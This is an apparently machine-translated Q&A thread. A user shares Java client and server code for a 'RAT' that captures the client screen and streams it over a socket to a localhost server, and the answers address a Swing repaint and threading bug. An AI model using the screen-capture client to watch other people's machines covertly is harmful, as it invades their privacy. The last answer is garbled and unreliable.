我以前遇到过这个问题,但我不记得我是怎么修的。我正在研究RAT,到目前为止它只是将客户端屏幕发送到服务器。我用来将图像保存到磁盘,但现在我试图让它只显示在JFrame上。它显示第一个屏幕截图,但只显示第一个屏幕截图,它不会绘制新屏幕截图。
服务器:
import java.awt.Graphics;
import java.awt.image.BufferedImage;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.net.ServerSocket;
import java.net.Socket;
import javax.imageio.ImageIO;
import javax.swing.JFrame;
@SuppressWarnings("serial")
public class Server extends JFrame {
private BufferedImage image;
private BufferedImage oldImage;
public Server() {
setTitle("RAT");
setResizable(false);
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
}
public static void main(String[] args) throws IOException {
try {
Server server = new Server();
ServerSocket serverSocket = new ServerSocket(25565);
Socket clientSocket = serverSocket.accept();
System.out.println("Connection accepted!");
ObjectInputStream in = new ObjectInputStream(clientSocket.getInputStream());
boolean firstConnection = true;
int width = 0;
int height = 0;
while (true) {
if(firstConnection) {
width = in.readShort();
height = in.readShort();
server.setSize(width, height);
server.setVisible(true);
firstConnection = false;
}
server.oldImage = ImageIO.read(in);
if(server.oldImage != null) {
server.image = server.oldImage;
}
server.repaint();
}
} catch (IOException e) {
System.err.println("Accept failed.");
System.exit(1);
}
}
public void paint(Graphics g) {
g.drawImage(image, 0, 0, this);
}
}
客户端:
import java.awt.AWTException;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.Socket;
import javax.imageio.ImageIO;
public class Client {
public static void main(String[] args) {
try {
Socket socket = new Socket("127.0.0.1", 25565);
ObjectOutputStream out = new ObjectOutputStream(socket.getOutputStream());
Robot robot = new Robot();
Toolkit toolkit = Toolkit.getDefaultToolkit();
Rectangle rectangle = new Rectangle(toolkit.getScreenSize());
out.writeShort(toolkit.getScreenSize().width);
out.writeShort(toolkit.getScreenSize().height);
while(true) {
ImageIO.write(robot.createScreenCapture(rectangle), "jpg", out);
Thread.sleep(200);
}
} catch (AWTException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
答案 0 :(得分:4)
据我了解这个问题,你可以通过编写Thread.sleep()
或while(true)
之类的内容来阻止事件调度线程,这个问题从Swing的角度来看并不合适。
你可以做些什么来解决这个问题:
clientSocket =
serverSocket.accept();
这样的代码片段阻止了EDT,所以这样的东西必须是
在单独的Thread
或SwingWorker
内完成。repaint()
的递归调用得到了Filthy的引用
有关上述主题的理由,Rich Clients如下:It is important to note that repaint requests get “coalesced,” or combined.
So, for example, if you request a repaint and there is already one on the
queue that has not yet been serviced, then the second request is ignored
because your request for a repaint will already be fulfilled by the earlier
request. This behavior is particularly helpful in situations where many
repaint requests are being generated, perhaps by very different situations
and components, and Swing should avoid processing redundant requests and
wasting effort.
JFrame
之上绘画,它会是
通过覆盖它来明智地在JPanel/JComponent
之上绘画
paintComponent(...)方法。以下是一个获得进一步帮助的示例程序:
import java.awt.*;
import java.awt.event.*;
import java.awt.image.BufferedImage;
import javax.swing.*;
public class PointsExample
{
private CustomPanel contentPane;
private Timer timer;
private int x = 1;
private int y = 1;
/*
* This is just JFrame, that we be
* using as the Base for our Application.
* Though here we are calling our
* JPanel (CustomPanel), whose
* paintComponent(...) method, we had
* override.
*/
private void createAndDisplayGUI()
{
JFrame frame = new JFrame("Locate Mouse Position");
frame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
contentPane = new CustomPanel();
frame.setContentPane(contentPane);
frame.pack();
frame.setLocationByPlatform(true);
frame.setVisible(true);
for (int i = 0; i < 500; i++)
{
contentPane.set(x, y);
x++;
y++;
if (x == 450)
break;
}
}
public static void main(String\u005B\u005D args)
{
SwingUtilities.invokeLater(new Runnable()
{
public void run()
{
new PointsExample().createAndDisplayGUI();
}
});
}
}
class CustomPanel extends JComponent
{
private int x;
private int y;
public void set(int a, int b)
{
x = a;
y = b;
paintImmediately(0, 0, getWidth(), getHeight());
}
@Override
public Dimension getPreferredSize()
{
return (new Dimension(500, 500));
}
@Override
public void paintComponent(Graphics g)
{
super.paintComponent(g);
g.clearRect(0, 0, getWidth(), getHeight());
g.fillOval(x, y, 4, 4);
}
}
答案 1 :(得分:0)
看起来对{(1}}的paint()初始调用发生了。这可能不是唯一的问题,但必须修复。